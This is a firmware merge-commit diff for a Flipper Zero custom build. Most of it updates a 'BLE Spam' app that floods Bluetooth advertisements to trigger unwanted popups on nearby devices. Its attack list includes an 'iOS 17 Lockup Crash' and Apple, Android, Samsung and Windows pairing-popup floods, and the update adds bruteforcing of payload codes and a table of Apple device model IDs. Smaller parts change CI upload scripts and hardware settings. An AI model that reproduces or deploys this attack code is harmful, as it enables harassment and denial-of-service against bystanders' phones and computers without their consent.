Merge branch 'Flipper-XFW:dev' into honeywell

This commit is contained in:
Totoo
2023-10-29 21:34:53 +01:00
committed by GitHub
137 changed files with 3034 additions and 709 deletions

View File

@@ -12,6 +12,12 @@ if __name__ == "__main__":
event = json.load(f)
client = nextcloud_client.Client(os.environ["NC_HOST"])
_session = requests.session
def session(*args, **kwargs):
s = _session(*args, **kwargs)
s.headers["User-Agent"] = os.environ["NC_USERAGENT"]
return s
requests.session = session
client.login(os.environ["NC_USER"], os.environ["NC_PASS"])
for file in (

View File

@@ -36,7 +36,7 @@ if __name__ == "__main__":
for i, commit in enumerate(event["commits"]):
msg = commit['message'].splitlines()[0].replace("`", "")
msg = msg[:50] + ("..." if len(msg) > 50 else "")
desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author']['username']}__](https://github.com/{commit['author']['username']})"
desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author'].get('username')}__](https://github.com/{commit['author'].get('username')})"
if len(desc) > 2020:
desc = desc.rsplit("\n", 1)[0] + f"\n+ {count - i} more commits"
break

View File

@@ -1,9 +1,16 @@
import nextcloud_client
import requests
import json
import os
if __name__ == "__main__":
client = nextcloud_client.Client(os.environ["NC_HOST"])
_session = requests.session
def session(*args, **kwargs):
s = _session(*args, **kwargs)
s.headers["User-Agent"] = os.environ["NC_USERAGENT"]
return s
requests.session = session
client.login(os.environ["NC_USER"], os.environ["NC_PASS"])
file = os.environ["ARTIFACT_TGZ"]

View File

@@ -16,6 +16,7 @@ concurrency:
env:
TARGETS: f7
DEFAULT_TARGET: f7
FBT_GIT_SUBMODULE_SHALLOW: 1
jobs:
build:
@@ -57,6 +58,7 @@ jobs:
if: "github.event_name == 'push' && github.ref_name == 'dev' && !contains(github.event.head_commit.message, '--nobuild')"
env:
NC_HOST: "https://cloud.cynthialabs.net/"
NC_USERAGENT: "${{ secrets.NC_USERAGENT }}"
NC_USER: "${{ secrets.NC_USER }}"
NC_PASS: "${{ secrets.NC_PASS }}"
BUILD_WEBHOOK: ${{ secrets.BUILD_WEBHOOK }}

View File

@@ -59,6 +59,7 @@ jobs:
- name: "Upload to webupdater"
env:
NC_HOST: "https://cloud.cynthialabs.net/"
NC_USERAGENT: "${{ secrets.NC_USERAGENT }}"
NC_USER: "${{ secrets.NC_USER }}"
NC_PASS: "${{ secrets.NC_PASS }}"
run: |

View File

@@ -55,6 +55,7 @@ jobs:
- name: "Upload to webupdater"
env:
NC_HOST: "https://cloud.cynthialabs.net/"
NC_USERAGENT: "${{ secrets.NC_USERAGENT }}"
NC_USER: "${{ secrets.NC_USER }}"
NC_PASS: "${{ secrets.NC_PASS }}"
run: |

View File

@@ -214,16 +214,15 @@ bool subghz_device_cc1101_ext_alloc(SubGhzDeviceConf* conf) {
subghz_device_cc1101_ext->async_rx.capture_delta_duration = 0;
subghz_device_cc1101_ext->spi_bus_handle =
(XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault ?
(xtreme_settings.spi_cc1101_handle == SpiDefault ?
&furi_hal_spi_bus_handle_external :
&furi_hal_spi_bus_handle_external_extra);
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault &&
!furi_hal_subghz_get_ext_power_amp()) {
if(xtreme_settings.spi_cc1101_handle == SpiDefault && !furi_hal_subghz_get_ext_power_amp()) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_cc1101_handle == SpiExtra) {
} else if(xtreme_settings.spi_cc1101_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -245,9 +244,9 @@ void subghz_device_cc1101_ext_free() {
free(subghz_device_cc1101_ext);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault || subghz_device_cc1101_ext->power_amp) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault || subghz_device_cc1101_ext->power_amp) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}

View File

@@ -17,13 +17,11 @@
#define MAX_SSID_LENGTH 32
#define MAX_BSSID_LENGTH 18
#define UART_CH_ESP \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH_ESP \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define UART_CH_GPS \
(XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH_GPS \
(xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)

View File

@@ -8,7 +8,7 @@ App(
fap_category="Bluetooth",
fap_author="@Willy-JL @ECTO-1A @Spooks4576",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
fap_version="2.0",
fap_version="4.1",
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
fap_icon_assets="icons",
fap_icon_assets_symbol="ble_spam",

View File

@@ -1,26 +1,20 @@
#include "ble_spam.h"
#include <gui/gui.h>
#include <furi_hal_bt.h>
#include <gui/elements.h>
#include "protocols/_registry.h"
#include "protocols/_protocols.h"
// Hacked together by @Willy-JL
// Custom adv API by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
typedef struct {
const char* title;
const char* text;
const BleSpamProtocol* protocol;
BleSpamPayload payload;
} Attack;
static Attack attacks[] = {
{
.title = "+ Kitchen Sink",
.title = "The Kitchen Sink",
.text = "Flood all attacks at once",
.protocol = NULL,
.payload =
@@ -32,110 +26,164 @@ static Attack attacks[] = {
{
.title = "iOS 17 Lockup Crash",
.text = "Newer iPhones, long range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
.cfg =
.cfg.continuity =
{
.continuity =
{
.type = ContinuityTypeCustomCrash,
.data = {},
},
.type = ContinuityTypeCustomCrash,
.data = {},
},
},
},
{
.title = "Apple Action Modal",
.text = "Lock cooldown, long range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
.cfg =
.cfg.continuity =
{
.continuity =
{
.type = ContinuityTypeNearbyAction,
.data = {},
},
.type = ContinuityTypeNearbyAction,
.data = {},
},
},
},
{
.title = "Apple Device Popup",
.text = "No cooldown, close range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
.cfg =
.cfg.continuity =
{
.continuity =
{
.type = ContinuityTypeProximityPair,
.data = {},
},
.type = ContinuityTypeProximityPair,
.data = {},
},
},
},
{
.title = "Android Device Pair",
.title = "Android Device Connect",
.text = "Reboot cooldown, long range",
.protocol = &ble_spam_protocol_fastpair,
.protocol = &protocol_fastpair,
.payload =
{
.random_mac = true,
.cfg =
.cfg.fastpair = {},
},
},
{
.title = "Samsung Buds Popup",
.text = "No cooldown, long range",
.protocol = &protocol_easysetup,
.payload =
{
.random_mac = true,
.cfg.easysetup =
{
.fastpair = {},
.type = EasysetupTypeBuds,
.data = {},
},
},
},
{
.title = "Samsung Watch Pair",
.text = "No cooldown, long range",
.protocol = &protocol_easysetup,
.payload =
{
.random_mac = true,
.cfg.easysetup =
{
.type = EasysetupTypeWatch,
.data = {},
},
},
},
{
.title = "Windows Device Found",
.text = "Requires enabling SwiftPair",
.protocol = &ble_spam_protocol_swiftpair,
.text = "No cooldown, short range",
.protocol = &protocol_swiftpair,
.payload =
{
.random_mac = true,
.cfg =
{
.swiftpair = {},
},
.cfg.swiftpair = {},
},
},
};
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
#define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
uint16_t delays[] = {20, 50, 100, 200};
static uint16_t delays[] = {20, 50, 100, 200};
typedef struct {
Ctx ctx;
View* main_view;
bool lock_warning;
uint8_t lock_count;
FuriTimer* lock_timer;
bool resume;
bool advertising;
uint8_t delay;
FuriThread* thread;
int8_t index;
bool ignore_bruteforce;
} State;
static int32_t adv_thread(void* ctx) {
State* state = ctx;
const NotificationSequence solid_message = {
&message_red_0,
&message_green_255,
&message_blue_255,
&message_do_not_reset,
&message_delay_10,
NULL,
};
NotificationMessage blink_message = {
.type = NotificationMessageTypeLedBlinkStart,
.data.led_blink.color = LightBlue | LightGreen,
.data.led_blink.on_time = 10,
.data.led_blink.period = 100,
};
const NotificationSequence blink_sequence = {
&blink_message,
&message_do_not_reset,
NULL,
};
static void start_blink(State* state) {
uint16_t period = delays[state->delay];
if(period <= 100) period += 30;
blink_message.data.led_blink.period = period;
notification_message_block(state->ctx.notification, &blink_sequence);
}
static void stop_blink(State* state) {
notification_message_block(state->ctx.notification, &sequence_blink_stop);
}
static int32_t adv_thread(void* _ctx) {
State* state = _ctx;
uint8_t size;
uint16_t delay;
uint8_t* packet;
uint8_t mac[GAP_MAC_ADDR_SIZE];
BleSpamPayload* payload = &attacks[state->index].payload;
const BleSpamProtocol* protocol = attacks[state->index].protocol;
Payload* payload = &attacks[state->index].payload;
const Protocol* protocol = attacks[state->index].protocol;
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
if(state->ctx.led_indicator) start_blink(state);
while(state->advertising) {
if(protocol) {
protocol->make_packet(&size, &packet, &payload->cfg);
if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) {
payload->bruteforce.counter = 0;
payload->bruteforce.value =
(payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
}
protocol->make_packet(&size, &packet, payload);
} else {
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
&size, &packet, NULL);
protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
}
furi_hal_bt_custom_adv_set(packet, size);
free(packet);
@@ -147,6 +195,7 @@ static int32_t adv_thread(void* ctx) {
furi_hal_bt_custom_adv_stop();
}
if(state->ctx.led_indicator) stop_blink(state);
return 0;
}
@@ -157,28 +206,34 @@ static void toggle_adv(State* state) {
furi_thread_join(state->thread);
if(state->resume) furi_hal_bt_start_advertising();
} else {
state->advertising = true;
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
state->advertising = true;
furi_thread_start(state->thread);
}
}
#define PAGE_MIN (-3)
#define PAGE_MAX ATTACK_COUNT
#define PAGE_MIN (-5)
#define PAGE_MAX ATTACKS_COUNT
enum {
PageHelpApps = PAGE_MIN,
PageHelpBruteforce = PAGE_MIN,
PageHelpApps,
PageHelpDelay,
PageHelpDistance,
PageHelpInfoConfig,
PageStart = 0,
PageEnd = ATTACK_COUNT - 1,
PageEnd = ATTACKS_COUNT - 1,
PageAboutCredits = PAGE_MAX,
};
static void draw_callback(Canvas* canvas, void* ctx) {
State* state = ctx;
static void draw_callback(Canvas* canvas, void* _ctx) {
State* state = *(State**)_ctx;
const char* back = "Back";
const char* next = "Next";
if(state->index < 0) {
back = "Next";
next = "Back";
}
switch(state->index) {
case PageStart - 1:
next = "Spam";
@@ -195,15 +250,32 @@ static void draw_callback(Canvas* canvas, void* ctx) {
}
const Attack* attack =
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
const BleSpamPayload* payload = attack ? &attack->payload : NULL;
const BleSpamProtocol* protocol = attack ? attack->protocol : NULL;
(state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
const Payload* payload = attack ? &attack->payload : NULL;
const Protocol* protocol = attack ? attack->protocol : NULL;
canvas_set_font(canvas, FontSecondary);
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
canvas_draw_str(canvas, 14, 12, "BLE Spam");
switch(state->index) {
case PageHelpBruteforce:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Bruteforce\e# cycles codes\n"
"to find popups, hold left and\n"
"right to send manually and\n"
"change delay",
false);
break;
case PageHelpApps:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
@@ -247,9 +319,25 @@ static void draw_callback(Canvas* canvas, void* ctx) {
48,
AlignLeft,
AlignTop,
"\e#Distance\e# is limited, attacks\n"
"work under 1 meter but a\n"
"few are marked 'long range'",
"\e#Distance\e# varies greatly:\n"
"some are long range (>30 m)\n"
"others are close range (<1 m)",
false);
break;
case PageHelpInfoConfig:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"See \e#more info\e# and change\n"
"\e#attack options\e# by holding\n"
"Ok on each attack page",
false);
break;
case PageAboutCredits:
@@ -266,31 +354,60 @@ static void draw_callback(Canvas* canvas, void* ctx) {
"App+Spam: \e#WillyJL\e# XFW\n"
"Apple+Crash: \e#ECTO-1A\e#\n"
"Android+Win: \e#Spooks4576\e#\n"
" Version \e#2.0\e#",
" Version \e#4.1\e#",
false);
break;
default: {
if(!attack) break;
if(state->ctx.lock_keyboard && !state->advertising) {
// Forgive me Lord for I have sinned by handling state in draw
toggle_adv(state);
}
char str[32];
canvas_set_font(canvas, FontBatteryPercent);
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
if(payload->mode == PayloadModeBruteforce) {
snprintf(
str,
sizeof(str),
"0x%0*lX",
payload->bruteforce.size * 2,
payload->bruteforce.value);
} else {
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
}
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
canvas_set_font(canvas, FontBatteryPercent);
snprintf(
str,
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
ATTACK_COUNT,
protocol ? protocol->get_name(&payload->cfg) : "Everything");
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
if(payload->mode == PayloadModeBruteforce) {
canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
if(delays[state->delay] < 100) {
snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
} else {
snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
}
uint16_t w = canvas_string_width(canvas, str);
elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
canvas_invert_color(canvas);
} else {
snprintf(
str,
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
ATTACKS_COUNT,
protocol ? protocol->get_name(payload) : "Everything AND");
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
}
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 32, attack->title);
canvas_draw_str(canvas, 4, 33, attack->title);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 4, 46, attack->text);
@@ -306,14 +423,174 @@ static void draw_callback(Canvas* canvas, void* ctx) {
if(state->index < PAGE_MAX) {
elements_button_right(canvas, next);
}
if(state->lock_warning) {
canvas_set_font(canvas, FontSecondary);
elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
canvas_draw_dot(canvas, 17, 61);
}
}
static void input_callback(InputEvent* input, void* ctx) {
FuriMessageQueue* input_queue = ctx;
if(input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
furi_message_queue_put(input_queue, input, 0);
static bool input_callback(InputEvent* input, void* _ctx) {
View* view = _ctx;
State* state = *(State**)view_get_model(view);
bool consumed = false;
if(state->ctx.lock_keyboard) {
consumed = true;
with_view_model(
state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
if(state->lock_count == 0) {
furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
}
if(input->type == InputTypeShort && input->key == InputKeyBack) {
state->lock_count++;
}
if(state->lock_count >= 3) {
furi_timer_start(state->lock_timer, 1);
}
} else if(
input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
consumed = true;
bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
bool advertising = state->advertising;
switch(input->key) {
case InputKeyOk:
if(is_attack) {
if(input->type == InputTypeLong) {
if(advertising) toggle_adv(state);
state->ctx.attack = &attacks[state->index];
scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
} else if(input->type == InputTypeShort) {
toggle_adv(state);
}
}
break;
case InputKeyUp:
if(is_attack) {
if(payload->mode == PayloadModeBruteforce) {
payload->bruteforce.counter = 0;
payload->bruteforce.value =
(payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
} else if(state->delay < COUNT_OF(delays) - 1) {
state->delay++;
if(advertising) start_blink(state);
}
}
break;
case InputKeyDown:
if(is_attack) {
if(payload->mode == PayloadModeBruteforce) {
payload->bruteforce.counter = 0;
payload->bruteforce.value =
(payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
} else if(state->delay > 0) {
state->delay--;
if(advertising) start_blink(state);
}
}
break;
case InputKeyLeft:
if(input->type == InputTypeLong) {
state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
true;
}
if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
payload->mode != PayloadModeBruteforce) {
if(state->index > PAGE_MIN) {
if(advertising) toggle_adv(state);
state->index--;
}
} else {
if(!advertising) {
bool resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
Payload* payload = &attacks[state->index].payload;
const Protocol* protocol = attacks[state->index].protocol;
uint8_t size;
uint8_t* packet;
protocol->make_packet(&size, &packet, payload);
furi_hal_bt_custom_adv_set(packet, size);
free(packet);
uint8_t mac[GAP_MAC_ADDR_SIZE];
furi_hal_random_fill_buf(mac, sizeof(mac));
uint16_t delay = delays[state->delay];
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
if(state->ctx.led_indicator)
notification_message(state->ctx.notification, &solid_message);
furi_delay_ms(10);
furi_hal_bt_custom_adv_stop();
if(state->ctx.led_indicator)
notification_message_block(state->ctx.notification, &sequence_reset_rgb);
if(resume) furi_hal_bt_start_advertising();
}
}
break;
case InputKeyRight:
if(input->type == InputTypeLong) {
state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
true;
}
if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
payload->mode != PayloadModeBruteforce) {
if(state->index < PAGE_MAX) {
if(advertising) toggle_adv(state);
state->index++;
}
} else if(input->type == InputTypeLong) {
state->delay = (state->delay + 1) % COUNT_OF(delays);
if(advertising) start_blink(state);
}
break;
case InputKeyBack:
if(advertising) toggle_adv(state);
consumed = false;
break;
default:
break;
}
}
view_commit_model(view, consumed);
return consumed;
}
static void lock_timer_callback(void* _ctx) {
State* state = _ctx;
if(state->lock_count < 3) {
notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
} else {
state->ctx.lock_keyboard = false;
}
with_view_model(
state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
state->lock_count = 0;
}
static void tick_event_callback(void* _ctx) {
State* state = _ctx;
bool advertising;
with_view_model(
state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
scene_manager_handle_tick_event(state->ctx.scene_manager);
}
static bool back_event_callback(void* _ctx) {
State* state = _ctx;
return scene_manager_handle_back_event(state->ctx.scene_manager);
}
int32_t ble_spam(void* p) {
@@ -323,63 +600,70 @@ int32_t ble_spam(void* p) {
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 4096);
state->ctx.led_indicator = true;
state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
Gui* gui = furi_record_open(RECORD_GUI);
view_port_input_callback_set(view_port, input_callback, input_queue);
view_port_draw_callback_set(view_port, draw_callback, state);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
state->ctx.view_dispatcher = view_dispatcher_alloc();
view_dispatcher_enable_queue(state->ctx.view_dispatcher);
view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
bool running = true;
while(running) {
InputEvent input;
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
state->main_view = view_alloc();
view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
with_view_model(
state->main_view, State * *model, { *model = state; }, false);
view_set_context(state->main_view, state->main_view);
view_set_draw_callback(state->main_view, draw_callback);
view_set_input_callback(state->main_view, input_callback);
view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
bool advertising = state->advertising;
switch(input.key) {
case InputKeyOk:
if(is_attack) toggle_adv(state);
break;
case InputKeyUp:
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
state->delay++;
}
break;
case InputKeyDown:
if(is_attack && state->delay > 0) {
state->delay--;
}
break;
case InputKeyLeft:
if(state->index > PAGE_MIN) {
if(advertising) toggle_adv(state);
state->index--;
}
break;
case InputKeyRight:
if(state->index < PAGE_MAX) {
if(advertising) toggle_adv(state);
state->index++;
}
break;
case InputKeyBack:
if(advertising) toggle_adv(state);
running = false;
break;
default:
continue;
}
state->ctx.byte_input = byte_input_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
view_port_update(view_port);
}
state->ctx.submenu = submenu_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
gui_remove_view_port(gui, view_port);
state->ctx.text_input = text_input_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
state->ctx.variable_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher,
ViewVariableItemList,
variable_item_list_get_view(state->ctx.variable_item_list));
view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
view_dispatcher_run(state->ctx.view_dispatcher);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
byte_input_free(state->ctx.byte_input);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
submenu_free(state->ctx.submenu);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
text_input_free(state->ctx.text_input);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
variable_item_list_free(state->ctx.variable_item_list);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
view_free(state->main_view);
scene_manager_free(state->ctx.scene_manager);
view_dispatcher_free(state->ctx.view_dispatcher);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(input_queue);
furi_record_close(RECORD_NOTIFICATION);
furi_timer_free(state->lock_timer);
furi_thread_free(state->thread);
free(state);
return 0;

View File

@@ -0,0 +1,44 @@
#pragma once
#include <notification/notification_messages.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/byte_input.h>
#include <gui/modules/submenu.h>
#include <gui/modules/text_input.h>
#include <gui/modules/variable_item_list.h>
#include "scenes/_setup.h"
enum {
ViewMain,
ViewByteInput,
ViewSubmenu,
ViewTextInput,
ViewVariableItemList,
};
enum {
ConfigRandomMac,
ConfigExtraStart = ConfigRandomMac,
ConfigLedIndicator,
ConfigLockKeyboard,
};
typedef struct Attack Attack;
typedef struct {
Attack* attack;
uint8_t byte_store[3];
VariableItemListEnterCallback fallback_config_enter;
bool led_indicator;
bool lock_keyboard;
NotificationApp* notification;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
ByteInput* byte_input;
Submenu* submenu;
TextInput* text_input;
VariableItemList* variable_item_list;
} Ctx;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.0 KiB

After

Width:  |  Height:  |  Size: 4.2 KiB

View File

@@ -8,11 +8,14 @@
#include "ble_spam_icons.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
#include "../ble_spam.h"
typedef union BleSpamProtocolCfg BleSpamProtocolCfg;
typedef struct Payload Payload;
typedef struct {
const Icon* icon;
const char* (*get_name)(const BleSpamProtocolCfg* _cfg);
void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg);
} BleSpamProtocol;
const char* (*get_name)(const Payload* payload);
void (*make_packet)(uint8_t* _size, uint8_t** _packet, Payload* payload);
void (*extra_config)(Ctx* ctx);
uint8_t (*config_count)(const Payload* payload);
} Protocol;

View File

@@ -0,0 +1,10 @@
#include "_protocols.h"
const Protocol* protocols[] = {
&protocol_continuity,
&protocol_fastpair,
&protocol_easysetup,
&protocol_swiftpair,
};
const size_t protocols_count = COUNT_OF(protocols);

View File

@@ -0,0 +1,39 @@
#pragma once
#include "continuity.h"
#include "fastpair.h"
#include "easysetup.h"
#include "swiftpair.h"
typedef enum {
PayloadModeRandom,
PayloadModeValue,
PayloadModeBruteforce,
} PayloadMode;
struct Payload {
bool random_mac;
PayloadMode mode;
struct {
uint8_t counter;
uint32_t value;
uint8_t size;
} bruteforce;
union {
ContinuityCfg continuity;
FastpairCfg fastpair;
EasysetupCfg easysetup;
SwiftpairCfg swiftpair;
} cfg;
};
extern const Protocol* protocols[];
extern const size_t protocols_count;
struct Attack {
const char* title;
const char* text;
const Protocol* protocol;
Payload payload;
};

View File

@@ -1,9 +0,0 @@
#include "_registry.h"
const BleSpamProtocol* ble_spam_protocols[] = {
&ble_spam_protocol_continuity,
&ble_spam_protocol_fastpair,
&ble_spam_protocol_swiftpair,
};
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

View File

@@ -1,20 +0,0 @@
#pragma once
#include "continuity.h"
#include "fastpair.h"
#include "swiftpair.h"
union BleSpamProtocolCfg {
ContinuityCfg continuity;
FastpairCfg fastpair;
SwiftpairCfg swiftpair;
};
extern const BleSpamProtocol* ble_spam_protocols[];
extern const size_t ble_spam_protocols_count;
typedef struct {
bool random_mac;
BleSpamProtocolCfg cfg;
} BleSpamPayload;

View File

@@ -0,0 +1,4 @@
#include "continuity_scenes.h"
#include "fastpair_scenes.h"
#include "easysetup_scenes.h"
#include "swiftpair_scenes.h"

View File

@@ -1,28 +1,83 @@
#include "continuity.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
static const char* type_names[ContinuityTypeCount] = {
const struct {
uint16_t value;
const char* name;
} pp_models[] = {
{0x0E20, "AirPods Pro"},
{0x0620, "Beats Solo 3"},
{0x0A20, "AirPods Max"},
{0x1020, "Beats Flex"},
{0x0055, "Airtag"},
{0x0030, "Hermes Airtag"},
{0x0220, "AirPods"},
{0x0F20, "AirPods 2nd Gen"},
{0x1320, "AirPods 3rd Gen"},
{0x1420, "AirPods Pro 2nd Gen"},
{0x0320, "Powerbeats 3"},
{0x0B20, "Powerbeats Pro"},
{0x0C20, "Beats Solo Pro"},
{0x1120, "Beats Studio Buds"},
{0x0520, "Beats X"},
{0x0920, "Beats Studio 3"},
{0x1720, "Beats Studio Pro"},
{0x1220, "Beats Fit Pro"},
{0x1620, "Beats Studio Buds+"},
};
const uint8_t pp_models_count = COUNT_OF(pp_models);
const struct {
uint8_t value;
